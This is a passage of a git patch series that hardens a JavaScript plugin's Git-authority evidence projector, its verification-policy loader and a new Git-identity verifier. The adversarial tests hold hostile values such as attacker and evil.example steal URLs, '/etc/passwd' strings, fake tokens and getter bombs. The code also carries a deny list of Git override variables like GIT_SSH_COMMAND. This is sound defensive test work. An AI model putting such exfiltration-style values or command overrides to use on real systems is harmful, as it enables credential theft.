+ message: minted.message, + actor: 'worker', + operation: 'commit_on_lane_branch', + path: 'operation', + ref_class: 'worker_lane', + default_branch_target: false, + version: GIT_AUTHORITY_VERSION, + }, + { + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + provider: 'cursor-cloud', + create_pr: true, + verdict: 'allowed', + code: 'authority_ok', + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + base_sha: BASE_SHA, + }, + ]; + for (const lookalike of providerLookalikes) { + const extras = ['grok-4', 'cursor-cloud', 'create_pr', 'provider-result']; + const error = assertRejectedEvidence(() => projectAuthorityEvidenceV1(lookalike), extras); + assert.ok(error.code === 'unknown_key' || error.code === 'missing_key' || error.code === 'invalid_type' + || error.code === 'invalid_format', error.code); + } + const frozenCaller = Object.freeze({ ...minted }); + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(frozenCaller)).code, 'invalid_type'); +}); + +test('hostile oversized control Unicode path URL and credential identity values never emit', () => { + const hostile = [ + { run_id: 'https://attacker.example/hook' }, + { run_id: '/tmp/cce-r1-authority-repo' }, + { run_id: 'git@github.com:evil/repo.git' }, + { assignment_id: 'Bearer abc' }, + { assignment_id: 'secret-token' }, + { base_sha: 'https://example.invalid/repo.git' }, + { run_id: `run-${'\u0007'.repeat(8)}` }, + { assignment_id: 'lane-\u200Balpha' }, + { run_id: 'run-\uFF41lpha-01' }, + ]; + for (const override of hostile) { + const extras = [...Object.values(override), '/tmp', 'https://', 'secret-token', 'Bearer']; + const error = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(receiptLookalike(override)), + extras.filter((value) => typeof value === 'string' && value.length > 0 && value.length < 200), + ); + assert.ok( + error.code === 'authority_identity_invalid' || error.code === 'invalid_type', + error.code, + ); + } +}); + +test('evidence context rejects null primitives functions accessors proxies extras and exotic shapes', () => { + const minted = trustedReceipt(); + const live = countingProxy({ fact_id: 'f-ok' }); + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, live.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(live.counts), 0); + + const revoked = Proxy.revocable({ fact_id: 'f-ok' }, { + get() { throw new Error('revoked getter ran'); }, + ownKeys() { throw new Error('revoked ownKeys ran'); }, + }); + revoked.revoke(); + const revokedError = assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, revoked.proxy)); + assert.equal(revokedError.code, 'proxy_denied'); + + const accessor = {}; + Object.defineProperty(accessor, 'fact_id', { + get() { throw new Error('accessor ran'); }, enumerable: true, + }); + const accessorError = assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, accessor)); + assert.ok(['accessor_property_denied', 'invalid_type'].includes(accessorError.code), accessorError.code); + + const hidden = { fact_id: 'f-ok' }; + Object.defineProperty(hidden, 'secret', { value: 'https://evil.example', enumerable: false }); + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, hidden), ['secret', 'https://evil.example']).code, 'unknown_key'); + + const symbolKeyed = { fact_id: 'f-ok' }; + symbolKeyed[Symbol('push')] = true; + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, symbolKeyed)).code, 'symbol_key_denied'); + + const exotic = Object.assign(Object.create({ stolen: 'https://evil.example' }), { fact_id: 'f-ok' }); + const exoticError = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(minted, exotic), + ['stolen', 'https://evil.example'], + ); + assert.ok(['exotic_prototype_denied', 'invalid_type'].includes(exoticError.code), exoticError.code); + + const primitives = [null, 0, 1, false, true, '', 'https://evil.example', 1n, Symbol('ctx')]; + for (const context of primitives) { + const extras = typeof context === 'string' && context.length > 0 ? [context] : []; + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, context), extras).code, 'invalid_type'); + } + assert.equal(assertRejectedEvidence(() => projectAuthorityEvidenceV1(minted, () => 'https://evil.example')).code, 'invalid_type'); + const extraKey = { fact_id: 'f-ok', 'https://evil.example/x': true }; + const extraError = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(minted, extraKey), + ['https://evil.example/x'], + ); + assert.equal(extraError.code, 'unknown_key'); +}); + +test('unknown-key public failures redact attacker keys values paths URLs and credentials', () => { + const attackerKey = 'https://evil.example/steal?token=secret-token#/tmp/repo'; + const unknown = operationRequest({ ref: laneRef, [attackerKey]: true }); + const error = errorOf(() => classifyGitOperationV1(unknown)); + assert.equal(error.code, 'unknown_key'); + assertPublicFailure(error, [attackerKey, 'secret-token', 'https://', '/tmp/repo', 'evil.example']); + assert.equal(error.path.includes(attackerKey), false); + assert.equal(error.message.includes(attackerKey), false); + + const minted = trustedReceipt(); + const evidenceError = assertRejectedEvidence( + () => projectAuthorityEvidenceV1(minted, { [attackerKey]: 1 }), + [attackerKey, 'secret-token'], + ); + assert.equal(evidenceError.code, 'unknown_key'); + assert.equal(evidenceError.path.includes(attackerKey), false); +}); + +test('trusted policy receipts keep immutable deny-lane decisions and content-free P13 facts', () => { + const allowed = trustedReceipt(); + const allowedEvidence = projectAuthorityEvidenceV1(allowed, { + fact_id: 'f-lane', discrepancy_id: 'd-lane', sequence: 4, + }); + assert.equal(allowedEvidence.facts[0].status, 'verified'); + assert.equal(allowedEvidence.facts[0].authority, 'platform_git'); + assert.equal(allowedEvidence.facts[0].run_id, RUN_ID); + assert.equal(allowedEvidence.facts[0].assignment_id, ASSIGNMENT_ID); + assert.equal(allowedEvidence.facts[0].payload.base_sha, BASE_SHA); + assert.equal(allowedEvidence.discrepancies.length, 0); + assertContentFree(allowedEvidence); + + const denied = classifyGitOperationV1(operationRequest({ operation: 'push' })); + assert.equal(denied.verdict, 'denied'); + assert.equal(denied.code, 'push_authority_denied'); + const deniedEvidence = projectAuthorityEvidenceV1(denied); + assert.equal(deniedEvidence.facts[0].status, 'failed'); + assert.equal(deniedEvidence.discrepancies[0].code, 'security_boundary'); + assertContentFree(deniedEvidence); + + const protectedTarget = classifyGitOperationV1(operationRequest({ + operation: 'create_lane_branch', + ref: 'refs/heads/main', + default_branch: 'main', + })); + assert.equal(protectedTarget.code, 'default_branch_target_denied'); + const protectedEvidence = projectAuthorityEvidenceV1(protectedTarget); + assert.equal(protectedEvidence.facts[0].method, 'protected_ref_snapshot_compare'); + assertContentFree(protectedEvidence); +}); + test('credential URL and remote-mutation material cannot bind as identity', () => { const cases = [ { token: 'secret-token' }, From a62491437d381ca770bd0eb95ab85fe9d41e8103 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 08:18:36 +0000 Subject: [PATCH 51/81] fix(verify): close missing-catalog deny, exotic options, and env accessors Treat a missing owner policy under an ordinary 0755 directory as the immutable empty default-deny catalog while still failing closed on an existing unsafe policy file. Require standard or null-prototype direct-data loader options, reject exotic, proxy, revoked, function, and primitive option objects with typed content-free errors, and deny own env accessors without invoking them or falling back to process env. --- .../mcp/v3/trusted-verification-policy.mjs | 69 +++++++++++---- ...d-verification-policy-adversarial.test.mjs | 86 +++++++++++++++++++ .../r1-trusted-verification-policy.test.mjs | 59 +++++++++++++ 3 files changed, 199 insertions(+), 15 deletions(-) diff --git a/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs b/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs index 3a31f48..7f235c1 100644 --- a/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs +++ b/plugins/codex-co-engineer/mcp/v3/trusted-verification-policy.mjs @@ -78,6 +78,7 @@ import { fail, hasOwn, optOwn, + ownDataValue, } from './selection-json.mjs'; export const VERIFICATION_POLICY_SCHEMA_ID = 'codex-co-engineer.verification-policy.v1'; @@ -289,6 +290,7 @@ const STRING_REPLACE = Function.prototype.call.bind(String.prototype.replace); const ARRAY_PUSH = Array.prototype.push; const ARRAY_SORT = Function.prototype.call.bind(Array.prototype.sort); const ARRAY_PROTOTYPE = Array.prototype; +const OBJECT_PROTOTYPE = Object.prototype; const SET_CTOR = Set; const SET_ADD = SET_CTOR.prototype.add; const SET_HAS = SET_CTOR.prototype.has; @@ -949,8 +951,33 @@ function requireNormalizedAbsolute(value, path) { return value; } -function readEnvironment(env, path) { - const source = env === undefined ? process.env : env; +function assertStandardDataObject(value, path) { + assertNotProxy(value, path); + if (value === null || typeof value !== 'object' || capturedIsArray(value)) { + deny('policy_options_denied', path); + } + let prototype; + try { + prototype = capturedGetPrototypeOf(value); + } catch { + deny('exotic_prototype_denied', path); + } + if (prototype !== OBJECT_PROTOTYPE && prototype !== null) { + deny('exotic_prototype_denied', path); + } +} + +function assertClosedOwnKeys(value, allowed, path) { + const keys = ownKeysOrDeny(value, path); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (typeof key === 'symbol') deny('symbol_key_denied', path); + if (!capturedIncludes(allowed, key)) deny('unknown_key', path); + } +} + +function readProcessEnvironment(path) { + const source = process.env; assertNotProxy(source, path); if (typeof source !== 'object' || source === null || capturedIsArray(source)) { deny('policy_options_denied', path); @@ -971,6 +998,20 @@ function readEnvironment(env, path) { return { xdgConfigHome: read('XDG_CONFIG_HOME'), home: read('HOME') }; } +function readEnvironment(env, path) { + if (env === undefined) return readProcessEnvironment(path); + assertStandardDataObject(env, path); + assertClosedOwnKeys(env, LOADER_ENV_KEYS, path); + const read = (key) => { + if (!hasOwn(env, key)) return undefined; + const value = ownDataValue(env, key, `${path}.${key}`); + assertNotProxy(value, `${path}.${key}`); + if (typeof value !== 'string') deny('policy_options_denied', `${path}.${key}`); + return value; + }; + return { xdgConfigHome: read('XDG_CONFIG_HOME'), home: read('HOME') }; +} + function defaultOwnerConfigDir(environment) { if (typeof environment.xdgConfigHome === 'string' && environment.xdgConfigHome.length > 0 && PATH_IS_ABSOLUTE(environment.xdgConfigHome) @@ -986,20 +1027,15 @@ function defaultOwnerConfigDir(environment) { } export function verificationPolicyRoots(options = {}) { - assertNotProxy(options, 'options'); - if (typeof options !== 'object' || options === null || capturedIsArray(options)) { - deny('policy_options_denied', 'options'); - } - const optionKeys = ownKeysOrDeny(options, 'options'); - for (let index = 0; index < optionKeys.length; index += 1) { - const key = optionKeys[index]; - if (typeof key === 'symbol') deny('symbol_key_denied', 'options'); - if (!capturedIncludes(LOADER_OPTION_KEYS, key)) deny('unknown_key', 'options'); - } + assertStandardDataObject(options, 'options'); + assertClosedOwnKeys(options, LOADER_OPTION_KEYS, 'options'); const ownerConfigDir = hasOwn(options, 'ownerConfigDir') - ? requireNormalizedAbsolute(optOwn(options, 'ownerConfigDir'), 'options.ownerConfigDir') + ? requireNormalizedAbsolute( + ownDataValue(options, 'ownerConfigDir', 'options.ownerConfigDir'), + 'options.ownerConfigDir', + ) : defaultOwnerConfigDir(readEnvironment( - hasOwn(options, 'env') ? optOwn(options, 'env') : undefined, + hasOwn(options, 'env') ? ownDataValue(options, 'env', 'options.env') : undefined, 'options.env', )); const dir = PATH_JOIN(ownerConfigDir, OWNER_POLICY_DIRNAME); @@ -1134,7 +1170,6 @@ export async function loadOwnerVerificationPolicyV1(options = {}) { }); if (dirEntry !== undefined) { if (dirEntry.isSymbolicLink() || !dirEntry.isDirectory()) deny('policy_catalog_not_regular', 'policy'); - requireOwnerControl(dirEntry, 'policy'); } const catalog = await readOwnerPolicyFile(roots.file); if (dirEntry !== undefined) { @@ -1143,6 +1178,10 @@ export async function loadOwnerVerificationPolicyV1(options = {}) { }); if (!sameEntry(dirEntry, afterDir)) deny('policy_catalog_changed_during_read', 'policy'); } + if (catalog.present) { + if (dirEntry === undefined) deny('policy_catalog_changed_during_read', 'policy'); + requireOwnerControl(dirEntry, 'policy'); + } const policy = catalog.present ? parsePolicyText(catalog.text) : emptyPolicy(); const digest = digestOf(VERIFICATION_POLICY_DIGEST_LABEL, policy); return capturedFreeze({ diff --git a/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs index e9a5b6e..55ab367 100644 --- a/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-trusted-verification-policy-adversarial.test.mjs @@ -11,6 +11,7 @@ import { parseVerificationPolicyV1, rejectUntrustedExecutableContentV1, verificationPolicyDigestV1, + verificationPolicyRoots, } from '../mcp/v3/trusted-verification-policy.mjs'; import { countingProxy, @@ -252,6 +253,91 @@ test('content-free errors never echo attacker keys, paths, URLs, or native stack assert.equal(error.message.includes('at parse'), false); }); +test('loader options reject null, primitive, function, exotic, proxy, and revoked objects', () => { + const secret = 'sk-options-secret-/etc/passwd'; + for (const value of [null, 1, 0, true, false, secret]) { + const error = errorOf(() => verificationPolicyRoots(value)); + assert.equal(error.code, 'policy_options_denied', String(value)); + assert.equal(error.message.includes(secret), false); + assert.equal(error.message.includes('/etc/passwd'), false); + } + + const fnError = errorOf(() => verificationPolicyRoots(function loaderOptions() { + throw new Error(secret); + })); + assert.equal(fnError.code, 'policy_options_denied'); + assert.equal(fnError.message.includes(secret), false); + + const date = new Date('2026-08-23T00:00:00.000Z'); + date.ownerConfigDir = '/tmp/attacker-date-config'; + const dateError = errorOf(() => verificationPolicyRoots(date)); + assert.equal(dateError.code, 'exotic_prototype_denied'); + assert.equal(dateError.message.includes('attacker-date-config'), false); + assert.equal(dateError.message.includes('2026'), false); + + const map = new Map([['ownerConfigDir', '/tmp/attacker-map-config']]); + const mapError = errorOf(() => verificationPolicyRoots(map)); + assert.equal(mapError.code, 'exotic_prototype_denied'); + assert.equal(mapError.message.includes('attacker-map-config'), false); + + class ExoticOptions {} + const exotic = new ExoticOptions(); + exotic.ownerConfigDir = '/tmp/attacker-class-config'; + assert.equal(errorOf(() => verificationPolicyRoots(exotic)).code, 'exotic_prototype_denied'); + + const nullProto = Object.create(null); + nullProto.ownerConfigDir = '/tmp/owner-config'; + const roots = verificationPolicyRoots(nullProto); + assert.equal(roots.scope, 'owner'); + assert.equal(roots.file.endsWith('verification-policy.json'), true); + assert.equal(Object.isFrozen(roots), true); + + const { proxy, counts } = countingProxy({ ownerConfigDir: '/tmp/owner-config' }); + assert.equal(errorOf(() => verificationPolicyRoots(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const { proxy: revokedProxy, revoke } = Proxy.revocable({ ownerConfigDir: '/tmp/owner-config' }, { + get() { throw new Error(`revoked get ${secret}`); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(revokedProxy), true); + const revokedError = errorOf(() => verificationPolicyRoots(revokedProxy)); + assert.equal(revokedError.code, 'proxy_denied'); + assert.equal(revokedError.message.includes(secret), false); + assert.equal(revokedError.message.includes('TypeError'), false); +}); + +test('own env accessors are rejected without invocation or process-env fallback', () => { + let reads = 0; + const options = {}; + Object.defineProperty(options, 'env', { + enumerable: true, + configurable: true, + get() { + reads += 1; + throw new Error('env getter bomb /tmp/attacker-home https://steal.test'); + }, + }); + const error = errorOf(() => verificationPolicyRoots(options)); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); + assert.equal(error.message.includes('attacker-home'), false); + assert.equal(error.message.includes('https://steal.test'), false); + assert.equal(error.message.includes('getter bomb'), false); + + const proxyEnv = {}; + const { proxy, counts } = countingProxy({ HOME: '/tmp/attacker-home' }); + Object.defineProperty(proxyEnv, 'env', { + enumerable: true, + configurable: true, + value: proxy, + }); + assert.equal(errorOf(() => verificationPolicyRoots(proxyEnv)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); +}); + test('rejectUntrustedExecutableContentV1 walks nested profile and provider shapes', () => { const nestedProfile = { name: 'review', diff --git a/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs b/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs index 49dd72a..b1eb09a 100644 --- a/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs +++ b/plugins/codex-co-engineer/test/r1-trusted-verification-policy.test.mjs @@ -397,6 +397,65 @@ test('failures are typed and content-free', () => { assert.equal(urlError.message.includes('evil.example'), false); }); +test('missing policy under a reviewer-created 0755 directory is immutable default deny', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'r1-p16a-policy-0755-')); + const ownerConfigDir = path.join(root, 'owner-config'); + const policyDir = path.join(ownerConfigDir, 'codex-co-engineer'); + try { + await mkdir(policyDir, { recursive: true }); + await chmod(ownerConfigDir, 0o755); + await chmod(policyDir, 0o755); + const missing = await loadOwnerVerificationPolicyV1({ ownerConfigDir }); + assert.equal(missing.source.present, false); + assert.equal(missing.policy.commands.length, 0); + assert.equal(missing.policy.schema, VERIFICATION_POLICY_SCHEMA_ID); + assert.equal(missing.policy.version, VERIFICATION_POLICY_VERSION); + assert.equal(Object.isFrozen(missing), true); + assert.equal(Object.isFrozen(missing.policy), true); + assert.equal(Object.isFrozen(missing.policy.commands), true); + assert.equal( + missing.digest.digest, + verificationPolicyDigestV1({ + schema: VERIFICATION_POLICY_SCHEMA_ID, + version: VERIFICATION_POLICY_VERSION, + commands: [], + }).digest, + ); + await chmod(policyDir, 0o775); + const groupWritableMissing = await loadOwnerVerificationPolicyV1({ ownerConfigDir }); + assert.equal(groupWritableMissing.source.present, false); + assert.equal(groupWritableMissing.policy.commands.length, 0); + assert.equal(groupWritableMissing.digest.digest, missing.digest.digest); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + +test('an existing unsafe policy file still fails closed under ordinary 0755 directories', async () => { + const root = await mkdtemp(path.join(tmpdir(), 'r1-p16a-policy-unsafe-')); + const ownerConfigDir = path.join(root, 'owner-config'); + const policyDir = path.join(ownerConfigDir, 'codex-co-engineer'); + const file = path.join(policyDir, 'verification-policy.json'); + try { + await mkdir(policyDir, { recursive: true }); + await writeFile(file, JSON.stringify(validPolicy({ + commands: [validCommand({ executable: '/bin/sh' })], + }))); + await chmod(ownerConfigDir, 0o755); + await chmod(policyDir, 0o755); + await chmod(file, 0o666); + await assert.rejects( + () => loadOwnerVerificationPolicyV1({ ownerConfigDir }), + (error) => error instanceof RunContractV1Error + && error.code === 'policy_catalog_not_owner_controlled' + && error.message.includes('/bin/sh') === false + && error.message.includes(file) === false, + ); + } finally { + await rm(root, { recursive: true, force: true }); + } +}); + test('the owner loader round-trips a catalog and treats absence as default deny', async () => { const root = await mkdtemp(path.join(tmpdir(), 'r1-p16a-policy-')); const ownerConfigDir = path.join(root, 'owner-config'); From 18beb8368562b96115c97a0a4830cbdd256a5a4b Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Sun, 23 Aug 2026 06:32:05 +0000 Subject: [PATCH 52/81] feat(verify): validate repository base branch and head Observe local Git through argv execution and bind repository identity, expected base ref/name, exact base SHA, candidate head SHA, and object types into P13 VerifiedFact snapshots. Close environment, output, time, and resource bounds. Reject missing/wrong repos, symbolic-ref drift, detached/unborn/ambiguous refs, non-commit objects, replace/graft/config/env influence, hostile names, extra keys, proxies/accessors, and bounds abuse. --- CHANGELOG.md | 15 + .../codex-co-engineer/mcp/v3/git-identity.mjs | 843 ++++++++++++++++++ 2 files changed, 858 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/git-identity.mjs diff --git a/CHANGELOG.md b/CHANGELOG.md index ef2e910..d7c2798 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,21 @@ ### Added +- **GitIdentityV1 independent repository base-branch and head verifier.** + Adds an additive v3 `git-identity.mjs` module for W13-P14. It derives + Git facts from the local repository through argv execution + (`/usr/bin/git`, no shell) and never from provider claims, then binds + repository identity, expected base ref/name, exact base SHA, candidate + head SHA, and object types into P13 `VerifiedFactV1` snapshots + (`git_identity` and `head_sha` with `platform_git` / `ancestry_check`). + Observation uses a closed environment that cannot inherit `GIT_*`, + replace, graft, or config influence; output, time, and command counts + are bounded; typed errors never echo hostile bytes. It rejects + missing/wrong repos, symbolic-ref drift, detached/unborn/ambiguous + refs, non-commit objects, replace refs, grafts, hostile names, extra + keys, proxies/accessors, and bounds abuse. It does not own P15 + scope/read-only/merge-commit checks, P16A trusted command policy, P28 + Git mutation, or provider/workspace dispatch. - **ArtifactRefV1 and the strict relative artifact path policy.** Adds two additive, pure v3 modules for W3-P07. `artifact-path.mjs` owns one deterministic fail-closed question - is this string a strict portable diff --git a/plugins/codex-co-engineer/mcp/v3/git-identity.mjs b/plugins/codex-co-engineer/mcp/v3/git-identity.mjs new file mode 100644 index 0000000..aca4e31 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/git-identity.mjs @@ -0,0 +1,843 @@ +// GitIdentityV1 — independently derived repository identity, base-ref, and +// candidate-head facts (ADR 0001 identifiers `immutable_repo_base_identity`, +// `exact_identities`, `bounded_evidence`, +// `gate_a_exact_run_child_provider_workspace_git_identity`). +// +// Additive v3 module for W13-P14. It observes Git from the local repository +// through argv execution and never from provider claims. It binds repository +// path identity, expected base ref/name, exact base SHA, candidate head SHA, +// and object types into P13 VerifiedFactV1 / EvidenceDiscrepancyV1 snapshots. +// It does not own P15 scope/read-only/merge-commit checks, P16A trusted +// command policy, P28 Git mutation, or provider/workspace dispatch. +// +// Observation is fail-closed: spawn is argv-only (no shell), the child +// environment is a closed map that cannot inherit GIT_* / config / replace / +// graft influence, output/time/command counts are bounded, and typed errors +// never echo hostile bytes. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { spawn as nodeSpawn } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { lstat as nodeLstat, realpath as nodeRealpath } from 'node:fs/promises'; +import path from 'node:path'; + +import { + parseEvidenceDiscrepancyV1, + parseVerifiedFactV1, + MAX_DURATION_MS, + MAX_SEQUENCE, +} from './evidence-bundle.mjs'; +import { + capturedFreeze, + capturedHasOwn, + capturedUtf8ByteLength, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + RunContractV1Error, + assertAllowedKeys, + assertBaseSha, + assertRepositoryPath, + assertRunId, + isAssignmentId, + isSha40, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + hasOwn, + optOwn, +} from './selection-json.mjs'; + +export const GIT_IDENTITY_SCHEMA_ID = 'codex-co-engineer.git-identity.v1'; +export const GIT_IDENTITY_VERSION = 1; +export const GIT_EXECUTABLE = '/usr/bin/git'; + +export const MAX_GIT_COMMANDS = 20; +export const MAX_GIT_ARGS = 32; +export const MAX_GIT_ARG_BYTES = 256; +export const MAX_GIT_OUTPUT_BYTES = 4096; +export const MAX_GIT_TIME_MS = 5_000; +export const MAX_GIT_TOTAL_TIME_MS = 20_000; +export const MAX_BASE_REF_BYTES = 128; +export const MAX_BASE_REF_SEGMENTS = 6; + +export const GIT_IDENTITY_REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'repository', 'expected_base_ref', 'candidate_head_sha', + 'run_id', 'assignment_id', 'sequence', +]); +export const GIT_IDENTITY_REQUEST_REQUIRED_KEYS = GIT_IDENTITY_REQUEST_ALLOWED_KEYS; +export const GIT_IDENTITY_REPOSITORY_ALLOWED_KEYS = capturedFreeze(['path', 'base_sha']); +export const GIT_IDENTITY_RESULT_ALLOWED_KEYS = capturedFreeze([ + 'schema', 'version', 'status', 'facts', 'discrepancies', 'observation', +]); +export const GIT_IDENTITY_OBSERVATION_ALLOWED_KEYS = capturedFreeze([ + 'repository_path', 'git_dir', 'base_ref', 'base_sha', 'head_sha', + 'base_object_type', 'head_object_type', 'worktree_head_ref', 'duration_ms', +]); +export const GIT_IDENTITY_OPTIONS_ALLOWED_KEYS = capturedFreeze(['spawn']); +export const GIT_IDENTITY_STATUSES = capturedFreeze(['failed', 'verified']); + +export const GIT_IDENTITY_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'ambiguous_ref_denied', + 'bounds_exceeded', 'config_influence_denied', 'detached_ref_denied', + 'env_influence_denied', 'exotic_prototype_denied', 'grafts_denied', + 'hostile_name_denied', 'invalid_format', 'invalid_type', 'missing_key', + 'non_commit_object', 'non_enumerable_property_denied', 'own_undefined_denied', + 'out_of_range', 'proxy_denied', 'replace_refs_denied', 'repository_invalid', + 'repository_missing', 'rewritten_history', 'stale_base', 'symbolic_ref_drift', + 'symbol_key_denied', 'unborn_ref_denied', 'unknown_key', 'unreachable_head', + 'wrong_merge_base', 'git_execution_failed', +]); + +const PRIVATE_BASE_REF_PATTERN = /^refs\/heads\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}(?:\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}){0,3}$/u; +const PRIVATE_OBJECT_TYPE_PATTERN = /^(?:blob|commit|tag|tree)$/u; +const PRIVATE_TRUE_FALSE_PATTERN = /^(?:true|false)$/u; +const PRIVATE_SHA256_PATTERN = /^[0-9a-f]{64}$/u; + +export const GIT_BASE_REF_PATTERN = new RegExp( + PRIVATE_BASE_REF_PATTERN.source, PRIVATE_BASE_REF_PATTERN.flags, +); + +const OBJECT_DEFINE_PROPERTY = Object.defineProperty; +const OBJECT_FREEZE = Object.freeze; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const MATH_FLOOR = Math.floor; +const MATH_MAX = Math.max; +const ARRAY_IS_ARRAY = Array.isArray; +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_BYTE_LENGTH = NodeBuffer.byteLength; +const CRYPTO_CREATE_HASH = createHash; +const HASH_PROTOTYPE = Object.getPrototypeOf(CRYPTO_CREATE_HASH('sha256')); +const HASH_UPDATE = HASH_PROTOTYPE.update; +const HASH_DIGEST = HASH_PROTOTYPE.digest; +const PATH_IS_ABSOLUTE = path.isAbsolute; +const PATH_RESOLVE = path.resolve; +const SPAWN = nodeSpawn; +const LSTAT = nodeLstat; +const REALPATH = nodeRealpath; +const REFLECT_APPLY = Reflect.apply; + +const CLOSED_GIT_ENV = capturedFreeze({ + PATH: '/usr/bin:/bin', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_TERMINAL_PROMPT: '0', + GIT_OPTIONAL_LOCKS: '0', + GIT_PAGER: 'cat', + GIT_ASKPASS: '', + LANG: 'C', + LC_ALL: 'C', + TZ: 'UTC', +}); + +const GIT_ISOLATION_FLAGS = capturedFreeze([ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', + '-c', 'core.useReplaceRefs=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'gc.auto=0', + '-c', 'advice.detachedHead=false', + '-c', 'log.showSignature=false', +]); + +const FORBIDDEN_ENV_KEYS = capturedFreeze([ + 'GIT_DIR', 'GIT_WORK_TREE', 'GIT_OBJECT_DIRECTORY', + 'GIT_ALTERNATE_OBJECT_DIRECTORIES', 'GIT_INDEX_FILE', 'GIT_COMMON_DIR', + 'GIT_NAMESPACE', 'GIT_CONFIG', 'GIT_CONFIG_COUNT', 'GIT_CONFIG_PARAMETERS', + 'GIT_REPLACE_REF_BASE', 'GIT_GRAFT_FILE', 'GIT_QUARANTINE_PATH', + 'GIT_PROXY_COMMAND', 'GIT_SSH', 'GIT_SSH_COMMAND', 'GIT_TRACE', + 'GIT_TRACE2', 'GIT_EXEC_PATH', 'GIT_TEMPLATE_DIR', +]); + +export const GIT_CLOSED_ENV = CLOSED_GIT_ENV; + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!capturedHasOwn(values, key)) continue; + OBJECT_DEFINE_PROPERTY(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function requiredKeys(input, keys, path) { + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + if (!hasOwn(input, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required (${GIT_IDENTITY_SCHEMA_ID}); git identity records have no hidden defaults.`); + } + } +} + +function digestCanonical(value) { + const canonical = canonicalJsonStringify(value); + const hash = CRYPTO_CREATE_HASH('sha256'); + HASH_UPDATE.call(hash, BUFFER_FROM(canonical, 'utf8')); + return HASH_DIGEST.call(hash, 'hex'); +} + +function assertClosedEnv(env, path) { + if (env === null || typeof env !== 'object' || ARRAY_IS_ARRAY(env)) { + fail('env_influence_denied', path, `${path} must be the closed git environment map.`); + } + for (let index = 0; index < FORBIDDEN_ENV_KEYS.length; index += 1) { + const key = FORBIDDEN_ENV_KEYS[index]; + if (capturedHasOwn(env, key)) { + fail('env_influence_denied', path, + `${path} must not carry git configuration, replace, graft, or directory overrides.`); + } + } +} + +function assertGitArgv(args, path) { + if (!ARRAY_IS_ARRAY(args)) fail('invalid_type', path, `${path} must be an argv array.`); + if (args.length > MAX_GIT_ARGS) { + fail('bounds_exceeded', path, `${path} exceeds the git argv arity cap.`); + } + for (let index = 0; index < args.length; index += 1) { + const arg = args[index]; + if (typeof arg !== 'string' || arg.length === 0) { + fail('hostile_name_denied', `${path}[${index}]`, `${path} entries must be non-empty strings.`); + } + if (arg.includes('\0')) { + fail('hostile_name_denied', `${path}[${index}]`, `${path} entries must not contain NUL.`); + } + if (BUFFER_BYTE_LENGTH(arg) > MAX_GIT_ARG_BYTES) { + fail('bounds_exceeded', `${path}[${index}]`, `${path} exceeds the git argument byte cap.`); + } + } +} + +function oneLine(text, path, pattern) { + if (typeof text !== 'string') { + fail('git_execution_failed', path, `${path} did not produce a bounded git observation.`); + } + let value = text; + if (value.endsWith('\n')) value = value.slice(0, -1); + if (value.endsWith('\r')) value = value.slice(0, -1); + if 